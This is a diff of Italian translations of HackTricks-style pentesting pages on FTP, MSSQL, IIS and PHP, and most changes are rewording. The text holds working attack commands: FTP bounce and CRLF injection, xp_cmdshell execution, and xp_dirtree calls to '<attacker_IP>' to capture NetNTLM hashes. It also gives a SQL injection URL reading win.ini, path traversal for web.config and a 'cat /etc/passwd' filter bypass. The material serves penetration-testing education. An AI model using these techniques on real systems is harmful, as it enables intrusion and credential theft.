Tuttavia, se il client FTP ha un firewall configurato che controlla le connessioni dati in entrata dall'esterno, allora l'Active FTP potrebbe essere un problema. E una soluzione fattibile per questo è il Passive FTP.
|
||||
Tuttavia, se il client FTP ha un firewall configurato che controlla le connessioni dati in entrata dall'esterno, allora l'Active FTP potrebbe essere un problema. E, una soluzione fattibile per questo è il Passive FTP.
|
||||
|
||||
Nel **Passive FTP**, il client inizia la connessione di controllo dalla sua porta N alla porta 21 del server FTP. Dopo questo, il client emette un **comando passv**. Il server poi invia al client uno dei suoi numeri di porta M. E il **client** **inizia** la **connessione** dati dalla **sua porta P alla porta M** del server FTP.
|
||||
|
||||
@ -49,7 +49,7 @@ Con **nmap**
|
||||
```bash
|
||||
sudo nmap -sV -p21 -sC -A 10.10.10.10
|
||||
```
|
||||
Puoi usare i comandi `HELP` e `FEAT` per ottenere alcune informazioni dal server FTP:
|
||||
Puoi utilizzare i comandi `HELP` e `FEAT` per ottenere alcune informazioni dal server FTP:
|
||||
```
|
||||
HELP
|
||||
214-The following commands are recognized (* =>'s unimplemented):
|
||||
@ -88,8 +88,8 @@ STAT
|
||||
### Accesso anonimo
|
||||
|
||||
_anonymous : anonymous_\
|
||||
\&#xNAN;_anonymous :_\
|
||||
\&#xNAN;_ftp : ftp_
|
||||
\_anonymous :_\
|
||||
\_ftp : ftp_
|
||||
```bash
|
||||
ftp <IP>
|
||||
>anonymous
|
||||
@ -105,7 +105,7 @@ Qui puoi trovare un'ottima lista con le credenziali ftp predefinite: [https://gi
|
||||
|
||||
### Automated
|
||||
|
||||
Il login anonimo e i controlli FTP di rimbalzo vengono eseguiti per impostazione predefinita da nmap con l'opzione **-sC** o:
|
||||
Il login anonimo e i controlli di bounce FTP vengono eseguiti per impostazione predefinita da nmap con l'opzione **-sC** o:
|
||||
```bash
|
||||
nmap --script ftp-* -p 21 <ip>
|
||||
```
|
||||
@ -115,7 +115,7 @@ Puoi connetterti a un server FTP utilizzando un browser (come Firefox) usando un
|
||||
```bash
|
||||
ftp://anonymous:anonymous@10.10.10.98
|
||||
```
|
||||
Nota che se un **applicazione web** sta inviando dati controllati da un utente **direttamente a un server FTP** puoi inviare byte codificati in doppia URL `%0d%0a` (in doppia URL encode questo è `%250d%250a`) e far sì che il **server FTP esegua azioni arbitrarie**. Una di queste possibili azioni arbitrarie è scaricare contenuti da un server controllato dall'utente, eseguire la scansione delle porte o cercare di comunicare con altri servizi basati su testo semplice (come http).
|
||||
Nota che se un **applicazione web** sta inviando dati controllati da un utente **direttamente a un server FTP**, puoi inviare byte di doppia codifica URL `%0d%0a` (in doppia codifica URL questo è `%250d%250a`) e far sì che il **server FTP esegua azioni arbitrarie**. Una di queste possibili azioni arbitrarie è scaricare contenuti da un server controllato dall'utente, eseguire la scansione delle porte o provare a comunicare con altri servizi basati su testo semplice (come http).
|
||||
|
||||
## Scarica tutti i file da FTP
|
||||
```bash
|
||||
@ -139,7 +139,7 @@ wget -r --user="USERNAME" --password="PASSWORD" ftp://server.com/
|
||||
- **`STOR /path/something.txt`** Come `APPE` ma sovrascriverà i file
|
||||
- **`STOU /path/something.txt`** Come `APPE`, ma se esiste non farà nulla.
|
||||
- **`RETR /path/to/file`** Deve essere stabilita una connessione passiva o una connessione port. Poi, il server FTP invierà il file indicato attraverso quella connessione
|
||||
- **`REST 6`** Questo indicherà al server che la prossima volta che invia qualcosa usando `RETR` dovrebbe iniziare al 6° byte.
|
||||
- **`REST 6`** Questo indicherà al server che la prossima volta che invia qualcosa usando `RETR` dovrebbe iniziare dal 6° byte.
|
||||
- **`TYPE i`** Imposta il trasferimento su binario
|
||||
- **`PASV`** Questo aprirà una connessione passiva e indicherà all'utente dove può connettersi
|
||||
- **`PUT /tmp/file.txt`** Carica il file indicato sull'FTP
|
||||
@ -152,11 +152,11 @@ Alcuni server FTP consentono il comando PORT. Questo comando può essere utilizz
|
||||
|
||||
[**Scopri qui come abusare di un server FTP per scansionare le porte.**](ftp-bounce-attack.md)
|
||||
|
||||
Potresti anche abusare di questo comportamento per far interagire un server FTP con altri protocolli. Potresti **caricare un file contenente una richiesta HTTP** e far sì che il server FTP vulnerabile **la invii a un server HTTP arbitrario** (_forse per aggiungere un nuovo utente admin?_) o persino caricare una richiesta FTP e far sì che il server FTP vulnerabile scarichi un file da un altro server FTP.\
|
||||
Potresti anche abusare di questo comportamento per far interagire un server FTP con altri protocolli. Potresti **caricare un file contenente una richiesta HTTP** e far sì che il server FTP vulnerabile **la invii a un server HTTP arbitrario** (_magari per aggiungere un nuovo utente admin?_) o persino caricare una richiesta FTP e far sì che il server FTP vulnerabile scarichi un file da un altro server FTP.\
|
||||
La teoria è semplice:
|
||||
|
||||
1. **Carica la richiesta (all'interno di un file di testo) sul server vulnerabile.** Ricorda che se vuoi parlare con un altro server HTTP o FTP devi cambiare le righe con `0x0d 0x0a`
|
||||
2. **Usa `REST X` per evitare di inviare i caratteri che non vuoi inviare** (forse per caricare la richiesta all'interno del file dove dovevi mettere un'intestazione di immagine all'inizio)
|
||||
2. **Usa `REST X` per evitare di inviare i caratteri che non vuoi inviare** (magari per caricare la richiesta all'interno del file dove dovevi mettere un'intestazione di immagine all'inizio)
|
||||
3. **Usa `PORT` per connetterti al server e al servizio arbitrari**
|
||||
4. **Usa `RETR` per inviare la richiesta salvata al server.**
|
||||
|
||||
@ -168,14 +168,14 @@ La teoria è semplice:
|
||||
posts.txt
|
||||
{{#endfile}}
|
||||
|
||||
- Prova a **riempire la richiesta con dati "spazzatura" relativi al protocollo** (parlando con FTP forse solo comandi spazzatura o ripetendo l'istruzione `RETR` per ottenere il file)
|
||||
- Prova a **riempire la richiesta con dati "spazzatura" relativi al protocollo** (parlando con FTP magari solo comandi spazzatura o ripetendo l'istruzione `RETR` per ottenere il file)
|
||||
- Basta **riempire la richiesta con molti caratteri nulli o altri** (divisi su righe o meno)
|
||||
|
||||
Comunque, qui hai un [vecchio esempio su come abusare di questo per far scaricare un file da un server FTP diverso.](ftp-bounce-download-2oftp-file.md)
|
||||
|
||||
## Vulnerabilità del server Filezilla
|
||||
|
||||
**FileZilla** di solito **lega** a **locale** un **servizio amministrativo** per il **FileZilla-Server** (porta 14147). Se riesci a creare un **tunnel** dalla **tua macchina** per accedere a questa porta, puoi **connetterti** ad **essa** usando una **password vuota** e **creare** un **nuovo utente** per il servizio FTP.
|
||||
**FileZilla** di solito **si lega** a **locale** un **servizio amministrativo** per il **FileZilla-Server** (porta 14147). Se riesci a creare un **tunnel** dalla **tua macchina** per accedere a questa porta, puoi **connetterti** ad **essa** usando una **password vuota** e **creare** un **nuovo utente** per il servizio FTP.
|
||||
|
||||
## File di configurazione
|
||||
```
|
||||
@ -196,7 +196,7 @@ La configurazione predefinita di vsFTPd può essere trovata in `/etc/vsftpd.conf
|
||||
- `chown_username=username` - Utente a cui viene data la proprietà dei file caricati in modo anonimo
|
||||
- `local_enable=YES` - Abilita gli utenti locali a effettuare il login
|
||||
- `no_anon_password=YES` - Non chiedere la password agli anonimi
|
||||
- `write_enable=YES` - Consenti comandi: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE, e SITE
|
||||
- `write_enable=YES` - Consenti comandi: STOR, DELE, RNFR, RNTO, MKD, RMD, APPE e SITE
|
||||
|
||||
### Shodan
|
||||
|
||||
|
||||
@ -6,7 +6,7 @@
|
||||
|
||||
Da [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
|
||||
|
||||
> **Microsoft SQL Server** è un sistema di gestione di **database relazionali** sviluppato da Microsoft. Come server di database, è un prodotto software con la funzione principale di memorizzare e recuperare dati su richiesta di altre applicazioni software—che possono essere eseguite sia sullo stesso computer che su un altro computer attraverso una rete (incluso Internet).\\
|
||||
> **Microsoft SQL Server** è un sistema di gestione di **database relazionali** sviluppato da Microsoft. Come server di database, è un prodotto software con la funzione principale di memorizzare e recuperare dati su richiesta di altre applicazioni software—che possono essere eseguite sia sullo stesso computer che su un altro computer attraverso una rete (incluso Internet).
|
||||
|
||||
**Porta predefinita:** 1433
|
||||
```
|
||||
@ -16,7 +16,7 @@ Da [wikipedia](https://en.wikipedia.org/wiki/Microsoft_SQL_Server):
|
||||
|
||||
- **master Database**: Questo database è cruciale in quanto cattura tutti i dettagli a livello di sistema per un'istanza di SQL Server.
|
||||
- **msdb Database**: SQL Server Agent utilizza questo database per gestire la pianificazione di avvisi e lavori.
|
||||
- **model Database**: Funziona come un modello per ogni nuovo database sull'istanza di SQL Server, dove eventuali modifiche come dimensione, ordinamento, modello di recupero e altro sono riflesse nei database appena creati.
|
||||
- **model Database**: Funziona come un modello per ogni nuovo database sull'istanza di SQL Server, dove eventuali modifiche come dimensione, ordinamento, modello di recupero e altro vengono replicate nei database appena creati.
|
||||
- **Resource Database**: Un database di sola lettura che ospita oggetti di sistema forniti con SQL Server. Questi oggetti, pur essendo memorizzati fisicamente nel database Resource, sono presentati logicamente nello schema sys di ogni database.
|
||||
- **tempdb Database**: Funziona come un'area di archiviazione temporanea per oggetti transitori o set di risultati intermedi.
|
||||
|
||||
@ -30,7 +30,7 @@ nmap --script ms-sql-info,ms-sql-empty-password,ms-sql-xp-cmdshell,ms-sql-config
|
||||
msf> use auxiliary/scanner/mssql/mssql_ping
|
||||
```
|
||||
> [!NOTE]
|
||||
> Se **non hai** **le credenziali** puoi provare a indovinarle. Puoi usare nmap o metasploit. Fai attenzione, puoi **bloccare gli account** se fallisci il login più volte utilizzando un nome utente esistente.
|
||||
> Se **non hai** **le credenziali** puoi provare a indovinarle. Puoi usare nmap o metasploit. Fai attenzione, puoi **bloccare gli account** se fallisci il login più volte usando un nome utente esistente.
|
||||
|
||||
#### Metasploit (necessita di credenziali)
|
||||
```bash
|
||||
@ -64,9 +64,9 @@ msf> use exploit/windows/mssql/mssql_payload #Uploads and execute a payload
|
||||
#Add new admin user from meterpreter session
|
||||
msf> use windows/manage/mssql_local_auth_bypass
|
||||
```
|
||||
### [**Forza bruta**](../../generic-hacking/brute-force.md#sql-server)
|
||||
### [**Brute force**](../../generic-hacking/brute-force.md#sql-server)
|
||||
|
||||
### Enumerazione manuale
|
||||
### Enumerazione Manuale
|
||||
|
||||
#### Accesso
|
||||
|
||||
@ -159,7 +159,7 @@ SELECT * FROM sysusers
|
||||
- **Server** – Esempi includono database, logins, endpoint, gruppi di disponibilità e ruoli del server.
|
||||
- **Database** – Esempi coprono ruoli del database, ruoli delle applicazioni, schema, certificati, cataloghi di testo completo e utenti.
|
||||
- **Schema** – Include tabelle, viste, procedure, funzioni, sinonimi, ecc.
|
||||
2. **Permission:** Associato agli securables di SQL Server, permessi come ALTER, CONTROL e CREATE possono essere concessi a un principale. La gestione dei permessi avviene a due livelli:
|
||||
2. **Permission:** Associato agli securables di SQL Server, i permessi come ALTER, CONTROL e CREATE possono essere concessi a un principale. La gestione dei permessi avviene a due livelli:
|
||||
- **Server Level** utilizzando logins
|
||||
- **Database Level** utilizzando utenti
|
||||
3. **Principal:** Questo termine si riferisce all'entità a cui viene concesso il permesso di un securable. I principali includono principalmente logins e utenti del database. Il controllo sull'accesso agli securables è esercitato attraverso la concessione o la negazione di permessi o includendo logins e utenti in ruoli dotati di diritti di accesso.
|
||||
@ -187,7 +187,7 @@ EXEC sp_helprotect 'xp_cmdshell'
|
||||
### Eseguire comandi OS
|
||||
|
||||
> [!CAUTION]
|
||||
> Nota che per poter eseguire comandi non è solo necessario avere **`xp_cmdshell`** **abilitato**, ma anche avere il **permesso EXECUTE sulla stored procedure `xp_cmdshell`**. Puoi scoprire chi (eccetto gli sysadmin) può usare **`xp_cmdshell`** con:
|
||||
> Nota che per poter eseguire comandi non è solo necessario avere **`xp_cmdshell`** **abilitato**, ma anche avere il **permesso EXECUTE sulla stored procedure `xp_cmdshell`**. Puoi scoprire chi (eccetto gli amministratori di sistema) può utilizzare **`xp_cmdshell`** con:
|
||||
>
|
||||
> ```sql
|
||||
> Use master
|
||||
@ -236,7 +236,7 @@ mssqlpwner corp.com/user:lab@192.168.1.65 -windows-auth -link-name SRV01 exec "c
|
||||
```
|
||||
### Rubare l'hash NetNTLM / Attacco di Relay
|
||||
|
||||
Dovresti avviare un **server SMB** per catturare l'hash utilizzato nell'autenticazione (`impacket-smbserver` o `responder` ad esempio).
|
||||
Dovresti avviare un **server SMB** per catturare l'hash utilizzato nell'autenticazione (`impacket-smbserver` o `responder` per esempio).
|
||||
```bash
|
||||
xp_dirtree '\\<attacker_IP>\any\thing'
|
||||
exec master.dbo.xp_dirtree '\\<attacker_IP>\any\thing'
|
||||
@ -319,15 +319,15 @@ SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='ADMINISTE
|
||||
```
|
||||
https://vuln.app/getItem?id=1+and+1=(select+x+from+OpenRowset(BULK+'C:\Windows\win.ini',SINGLE_CLOB)+R(x))--
|
||||
```
|
||||
### **RCE/Leggere file eseguendo script (Python e R)**
|
||||
### **RCE/Eseguire file eseguendo script (Python e R)**
|
||||
|
||||
MSSQL potrebbe consentirti di eseguire **script in Python e/o R**. Questo codice sarà eseguito da un **utente diverso** rispetto a quello che utilizza **xp_cmdshell** per eseguire comandi.
|
||||
|
||||
Esempio che tenta di eseguire un **'R'** _"Hellow World!"_ **non funzionante**:
|
||||
Esempio di tentativo di eseguire un **'R'** _"Hellow World!"_ **non funzionante**:
|
||||
|
||||
.png>)
|
||||
|
||||
Esempio che utilizza python configurato per eseguire diverse azioni:
|
||||
Esempio di utilizzo di Python configurato per eseguire diverse azioni:
|
||||
```sql
|
||||
# Print the user being used (and execute commands)
|
||||
EXECUTE sp_execute_external_script @language = N'Python', @script = N'print(__import__("getpass").getuser())'
|
||||
@ -372,7 +372,7 @@ Per **ulteriori esempi** controlla la [**fonte originale**](https://blog.waynesh
|
||||
|
||||
È possibile **caricare un .NET dll all'interno di MSSQL con funzioni personalizzate**. Questo, tuttavia, **richiede accesso `dbo`** quindi hai bisogno di una connessione al database **come `sa` o un ruolo di Amministratore**.
|
||||
|
||||
[**Seguendo questo link**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) per vedere un esempio.
|
||||
[**Segui questo link**](../../pentesting-web/sql-injection/mssql-injection.md#mssql-user-defined-function-sqlhttp) per vedere un esempio.
|
||||
|
||||
### RCE con `autoadmin_task_agents`
|
||||
|
||||
@ -506,8 +506,8 @@ use_link [NAME]
|
||||
```
|
||||
> [!NOTE]
|
||||
> Se puoi impersonare un utente, anche se non è sysadmin, dovresti controllare se l'utente ha accesso ad altri database o server collegati.
|
||||
>
|
||||
> Tieni presente che una volta che sei sysadmin puoi impersonare qualsiasi altro utente:
|
||||
|
||||
Nota che una volta che sei sysadmin puoi impersonare qualsiasi altro utente:
|
||||
```sql
|
||||
-- Impersonate RegUser
|
||||
EXECUTE AS LOGIN = 'RegUser'
|
||||
@ -531,25 +531,25 @@ Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuse
|
||||
|
||||
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
|
||||
|
||||
## Estrazione delle password dai Server Collegati di SQL Server
|
||||
## Estrazione delle password dai Linked Servers di SQL Server
|
||||
|
||||
Un attaccante può estrarre le password dei Server Collegati di SQL Server dalle istanze SQL e ottenerle in chiaro, concedendo all'attaccante password che possono essere utilizzate per acquisire una maggiore presa sul bersaglio. Lo script per estrarre e decrittare le password memorizzate per i Server Collegati può essere trovato [qui](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
|
||||
Un attaccante può estrarre le password dei Linked Servers di SQL Server dalle istanze SQL e ottenerle in chiaro, concedendo all'attaccante password che possono essere utilizzate per acquisire una maggiore presa sul bersaglio. Lo script per estrarre e decrittografare le password memorizzate per i Linked Servers può essere trovato [qui](https://www.richardswinbank.net/admin/extract_linked_server_passwords)
|
||||
|
||||
Alcuni requisiti e configurazioni devono essere eseguiti affinché questo exploit funzioni. Prima di tutto, devi avere diritti di Amministratore sulla macchina, o la capacità di gestire le Configurazioni di SQL Server.
|
||||
Alcuni requisiti e configurazioni devono essere eseguiti affinché questo exploit funzioni. Prima di tutto, è necessario avere diritti di Amministratore sulla macchina, o la capacità di gestire le Configurazioni di SQL Server.
|
||||
|
||||
Dopo aver convalidato i tuoi permessi, devi configurare tre cose, che sono le seguenti:
|
||||
Dopo aver convalidato le tue autorizzazioni, è necessario configurare tre cose, che sono le seguenti:
|
||||
|
||||
1. Abilitare TCP/IP sulle istanze di SQL Server;
|
||||
2. Aggiungere un parametro di Avvio, in questo caso, verrà aggiunto un flag di traccia, che è -T7806.
|
||||
2. Aggiungere un parametro di avvio, in questo caso, verrà aggiunto un flag di traccia, che è -T7806.
|
||||
3. Abilitare la connessione remota per l'amministratore.
|
||||
|
||||
Per automatizzare queste configurazioni, [questo repository](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) ha gli script necessari. Oltre ad avere uno script powershell per ogni passaggio della configurazione, il repository ha anche uno script completo che combina gli script di configurazione e l'estrazione e decrittazione delle password.
|
||||
Per automatizzare queste configurazioni, [questo repository](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/) ha gli script necessari. Oltre ad avere uno script powershell per ciascun passaggio della configurazione, il repository ha anche uno script completo che combina gli script di configurazione e l'estrazione e decrittografia delle password.
|
||||
|
||||
Per ulteriori informazioni, fai riferimento ai seguenti link riguardanti questo attacco: [Decrittazione delle Password dei Server Collegati al Database MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
Per ulteriori informazioni, fare riferimento ai seguenti link riguardanti questo attacco: [Decrittografia delle password dei Linked Server di MSSQL](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
|
||||
[Risoluzione dei Problemi con la Connessione Amministrativa Dedicata di SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
[Risoluzione dei problemi della connessione dedicata per l'amministratore di SQL Server](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
|
||||
## Escalation Locale dei Privilegi
|
||||
## Escalation dei Privilegi Locali
|
||||
|
||||
L'utente che esegue il server MSSQL avrà abilitato il token di privilegio **SeImpersonatePrivilege.**\
|
||||
Probabilmente sarai in grado di **escalare a Amministratore** seguendo una di queste 2 pagine:
|
||||
@ -578,7 +578,7 @@ Probabilmente sarai in grado di **escalare a Amministratore** seguendo una di qu
|
||||
- [https://mayfly277.github.io/posts/GOADv2-pwning-part12/](https://mayfly277.github.io/posts/GOADv2-pwning-part12/)
|
||||
- [https://exploit7-tr.translate.goog/posts/sqlserver/?\_x_tr_sl=es&\_x_tr_tl=en&\_x_tr_hl=en&\_x_tr_pto=wapp](https://exploit7-tr.translate.goog/posts/sqlserver/?_x_tr_sl=es&_x_tr_tl=en&_x_tr_hl=en&_x_tr_pto=wapp)
|
||||
|
||||
## Comandi Automatici HackTricks
|
||||
## HackTricks Comandi Automatici
|
||||
```
|
||||
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
|
||||
Port_Number: 1433 #Comma separated if there is more than one.
|
||||
|
||||
@ -29,7 +29,7 @@ X-FEServer: NHEXCHANGE2016
|
||||
```
|
||||
## Eseguire file .config
|
||||
|
||||
Puoi caricare file .config e usarli per eseguire codice. Un modo per farlo è aggiungere il codice alla fine del file all'interno di un commento HTML: [Scarica esempio qui](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
|
||||
Puoi caricare file .config e usarli per eseguire codice. Un modo per farlo è aggiungere il codice alla fine del file all'interno di un commento HTML: [Scarica l'esempio qui](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Upload%20Insecure%20Files/Configuration%20IIS%20web.config/web.config)
|
||||
|
||||
Ulteriori informazioni e tecniche per sfruttare questa vulnerabilità [qui](https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/)
|
||||
|
||||
@ -50,7 +50,7 @@ iisfinal.txt
|
||||
[https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt](https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/SVNDigger/cat/Language/asp.txt)\
|
||||
[https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt](https://raw.githubusercontent.com/xmendez/wfuzz/master/wordlist/vulns/iis.txt)
|
||||
|
||||
Usalo senza aggiungere alcuna estensione, i file che ne hanno bisogno ce l'hanno già.
|
||||
Usalo senza aggiungere alcun'estensione, i file che ne hanno bisogno ce l'hanno già.
|
||||
|
||||
## Traversata del percorso
|
||||
|
||||
@ -61,11 +61,11 @@ Controlla il resoconto completo in: [https://blog.mindedsecurity.com/2018/10/fro
|
||||
> [!NOTE]
|
||||
> In sintesi, ci sono diversi file web.config all'interno delle cartelle dell'applicazione con riferimenti a file "**assemblyIdentity**" e "**namespaces**". Con queste informazioni è possibile sapere **dove si trovano gli eseguibili** e scaricarli.\
|
||||
> Dai **Dll scaricati** è anche possibile trovare **nuovi namespaces** dove dovresti provare ad accedere e ottenere il file web.config per trovare nuovi namespaces e assemblyIdentity.\
|
||||
> Inoltre, i file **connectionstrings.config** e **global.asax** possono contenere informazioni interessanti.\\
|
||||
> Inoltre, i file **connectionstrings.config** e **global.asax** possono contenere informazioni interessanti.
|
||||
|
||||
Nelle **applicazioni .Net MVC**, il file **web.config** gioca un ruolo cruciale specificando ciascun file binario su cui l'applicazione fa affidamento tramite i tag XML **"assemblyIdentity"**.
|
||||
Nelle **applicazioni .Net MVC**, il file **web.config** gioca un ruolo cruciale specificando ogni file binario su cui l'applicazione fa affidamento tramite i tag XML **"assemblyIdentity"**.
|
||||
|
||||
### **Esplorare i file binari**
|
||||
### **Esplorare file binari**
|
||||
|
||||
Un esempio di accesso al file **web.config** è mostrato di seguito:
|
||||
```markup
|
||||
@ -88,7 +88,7 @@ I file trovati nella directory radice, come **/global.asax** e **/connectionstri
|
||||
|
||||
### **Namespace e Web.Config**
|
||||
|
||||
Le applicazioni MVC definiscono anche ulteriori **file web.config** per namespace specifici per evitare dichiarazioni ripetitive in ogni file, come dimostrato con una richiesta per scaricare un altro **web.config**:
|
||||
Le applicazioni MVC definiscono anche ulteriori **file web.config** per namespace specifici per evitare dichiarazioni ripetitive in ciascun file, come dimostrato con una richiesta per scaricare un altro **web.config**:
|
||||
```markup
|
||||
GET /download_page?id=..%2f..%2fViews/web.config HTTP/1.1
|
||||
Host: example-mvc-application.minded
|
||||
@ -197,7 +197,7 @@ Per accedere alla pagina web potresti dare un'occhiata al **Certificato SSL** se
|
||||
### Vulnerabilità/Caratteristica del carattere tilde “\~” di Microsoft IIS – Rivelazione di nomi di file/cartelle brevi
|
||||
|
||||
Puoi provare a **enumerare cartelle e file** all'interno di ogni cartella scoperta (anche se richiede l'autenticazione di base) utilizzando questa **tecnica**.\
|
||||
La principale limitazione di questa tecnica, se il server è vulnerabile, è che **può trovare solo fino ai primi 6 caratteri del nome di ciascun file/cartella e i primi 3 caratteri dell'estensione** dei file.
|
||||
La principale limitazione di questa tecnica se il server è vulnerabile è che **può trovare solo fino ai primi 6 caratteri del nome di ciascun file/cartella e i primi 3 caratteri dell'estensione** dei file.
|
||||
|
||||
Puoi usare [https://github.com/irsdl/IIS-ShortName-Scanner](https://github.com/irsdl/IIS-ShortName-Scanner) per testare questa vulnerabilità:`java -jar iis_shortname_scanner.jar 2 20 http://10.13.38.11/dev/dca66d38fd916317687e1390a420c3fc/db/`
|
||||
|
||||
@ -207,7 +207,7 @@ Ricerca originale: [https://soroush.secproject.com/downloadable/microsoft_iis_ti
|
||||
|
||||
Puoi anche usare **metasploit**: `use scanner/http/iis_shortname_scanner`
|
||||
|
||||
Una buona idea per **trovare il nome finale** dei file scoperti è **chiedere a LLMs** per opzioni come fatto nello script [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
|
||||
Un'idea carina per **trovare il nome finale** dei file scoperti è **chiedere a LLMs** per opzioni come fatto nello script [https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py](https://github.com/Invicti-Security/brainstorm/blob/main/fuzzer_shortname.py)
|
||||
|
||||
### Bypass dell'autenticazione di base
|
||||
|
||||
@ -236,7 +236,7 @@ ASPXAUTH utilizza le seguenti informazioni:
|
||||
- **`decryptionIV`** (stringa): vettore di inizializzazione codificato in esadecimale (predefinito a un vettore di zeri).
|
||||
- **`decryptionKey`** (stringa): chiave codificata in esadecimale da utilizzare per la decrittazione.
|
||||
|
||||
Tuttavia, alcune persone utilizzeranno i **valori predefiniti** di questi parametri e utilizzeranno come **cookie l'email dell'utente**. Pertanto, se riesci a trovare un web che utilizza la **stessa piattaforma** che sta usando il cookie ASPXAUTH e **crei un utente con l'email dell'utente che vuoi impersonare** sul server sotto attacco, potresti essere in grado di **usare il cookie del secondo server nel primo** e impersonare l'utente.\
|
||||
Tuttavia, alcune persone utilizzeranno i **valori predefiniti** di questi parametri e utilizzeranno come **cookie l'email dell'utente**. Pertanto, se riesci a trovare un web che utilizza la **stessa piattaforma** che sta usando il cookie ASPXAUTH e **crei un utente con l'email dell'utente che vuoi impersonare** sul server sotto attacco, potresti essere in grado di **usare il cookie dal secondo server nel primo** e impersonare l'utente.\
|
||||
Questo attacco ha funzionato in questo [**writeup**](https://infosecwriteups.com/how-i-hacked-facebook-part-two-ffab96d57b19).
|
||||
|
||||
## Bypass dell'autenticazione IIS con password memorizzate nella cache (CVE-2022-30209) <a href="#id-3-iis-authentication-bypass" id="id-3-iis-authentication-bypass"></a>
|
||||
|
||||
@ -70,11 +70,11 @@ Anche se `===` è **in uso**, potrebbero esserci errori che rendono la **compara
|
||||
```
|
||||
### preg_match(/^.\*/)
|
||||
|
||||
**`preg_match()`** potrebbe essere utilizzato per **validare l'input dell'utente** (controlla se qualche **parola/regex** da una **blacklist** è **presente** nell'**input dell'utente** e se non lo è, il codice può continuare la sua esecuzione).
|
||||
**`preg_match()`** potrebbe essere utilizzato per **validare l'input dell'utente** (controlla se qualche **parola/regex** da una **lista nera** è **presente** nell'**input dell'utente** e se non lo è, il codice può continuare la sua esecuzione).
|
||||
|
||||
#### Bypass della nuova riga
|
||||
|
||||
Tuttavia, quando si delimita l'inizio della regexp `preg_match()` **controlla solo la prima riga dell'input dell'utente**, quindi se in qualche modo puoi **inviare** l'input in **più righe**, potresti essere in grado di aggirare questo controllo. Esempio:
|
||||
Tuttavia, quando si delimita l'inizio della regexp, `preg_match()` **controlla solo la prima riga dell'input dell'utente**, quindi se in qualche modo puoi **inviare** l'input in **più righe**, potresti essere in grado di bypassare questo controllo. Esempio:
|
||||
```php
|
||||
$myinput="aaaaaaa
|
||||
11111111"; //Notice the new line
|
||||
@ -87,7 +87,7 @@ echo preg_match("/^.*1/",$myinput);
|
||||
echo preg_match("/^.*1.*$/",$myinput);
|
||||
//0 --> In this scenario preg_match DOESN'T find the char "1"
|
||||
```
|
||||
Per bypassare questo controllo, puoi **inviare il valore con nuove righe urlencoded** (`%0A`) o se puoi inviare **dati JSON**, invialo in **più righe**:
|
||||
Per bypassare questo controllo, puoi **inviare il valore con nuove righe urlencoded** (`%0A`) oppure, se puoi inviare **dati JSON**, invialo in **più righe**:
|
||||
```php
|
||||
{
|
||||
"cmd": "cat /etc/passwd"
|
||||
@ -155,7 +155,7 @@ Check:
|
||||
|
||||
- **register_globals**: In **PHP < 4.1.1.1** o se mal configurato, **register_globals** potrebbe essere attivo (o il loro comportamento è imitato). Questo implica che nelle variabili globali come $\_GET se hanno un valore e.g. $\_GET\["param"]="1234", puoi accedervi tramite **$param. Pertanto, inviando parametri HTTP puoi sovrascrivere variabili\*\* che vengono utilizzate all'interno del codice.
|
||||
- I **cookie PHPSESSION dello stesso dominio sono memorizzati nello stesso posto**, quindi se all'interno di un dominio **cookie diversi sono utilizzati in percorsi diversi** puoi fare in modo che un percorso **acceda al cookie dell'altro percorso** impostando il valore del cookie dell'altro percorso.\
|
||||
In questo modo, se **entrambi i percorsi accedono a una variabile con lo stesso nome** puoi fare in modo che **il valore di quella variabile in path1 si applichi a path2**. E poi path2 considererà validi le variabili di path1 (dando al cookie il nome corrispondente in path2).
|
||||
In questo modo, se **entrambi i percorsi accedono a una variabile con lo stesso nome** puoi fare in modo che il **valore di quella variabile in path1 si applichi a path2**. E poi path2 considererà validi le variabili di path1 (dando al cookie il nome che corrisponde a esso in path2).
|
||||
- Quando hai i **nomi utente** degli utenti della macchina. Controlla l'indirizzo: **/\~\<USERNAME>** per vedere se le directory php sono attivate.
|
||||
- [**LFI and RCE using php wrappers**](../../../pentesting-web/file-inclusion/index.html)
|
||||
|
||||
@ -184,7 +184,7 @@ if (isset($_GET["xss"])) echo $_GET["xss"];
|
||||
```
|
||||
#### Compilare un corpo prima di impostare le intestazioni
|
||||
|
||||
Se una **pagina PHP sta stampando errori e restituendo alcuni input forniti dall'utente**, l'utente può far stampare al server PHP un **contenuto sufficientemente lungo** in modo che quando cerca di **aggiungere le intestazioni** nella risposta, il server generi un errore.\
|
||||
Se una **pagina PHP sta stampando errori e restituendo alcuni input forniti dall'utente**, l'utente può far stampare al server PHP del **contenuto sufficientemente lungo** in modo che quando cerca di **aggiungere le intestazioni** nella risposta, il server generi un errore.\
|
||||
